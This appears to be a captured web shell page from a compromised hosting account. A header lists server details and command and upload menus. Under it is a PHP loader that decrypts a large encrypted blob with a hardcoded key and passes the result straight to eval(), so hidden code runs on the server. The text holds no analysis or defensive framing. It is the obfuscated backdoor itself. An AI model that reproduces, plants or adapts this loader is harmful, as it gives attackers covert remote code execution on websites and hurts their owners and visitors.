Server IP : 68.65.122.142 / Your IP : 216.73.216.70 Web Server : LiteSpeed System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : glenirhm ( 1318) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /var/../lib64/python3.8/pydoc_data/../html/../../libxslt-plugins/../../home/glenirhm/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php class Secure { private $masterKey; private $iterations = 10000; private $cipher = "aes-256-cbc"; private $hmacAlgo = "sha256"; private $saltLength = 16; public function __construct($masterKey) { $this->masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, $this->hmacLength()); $ciphertext = substr($data, $this->saltLength + $ivLength + $this->hmacLength()); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac( $this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys["hmac"], true ); $decrypted = openssl_decrypt( $ciphertext, $this->cipher, $derivedKeys["encryption"], OPENSSL_RAW_DATA, $iv ); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ "encryption" => substr($keyMaterial, 0, 32), "hmac" => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } private function hmacLength() { return 32; } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure("3Etrksi87rde3hd8s819Poe0o39sqKjl9"); $str = "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"; $decrypted = $secure->decrypt($str); eval($decrypted);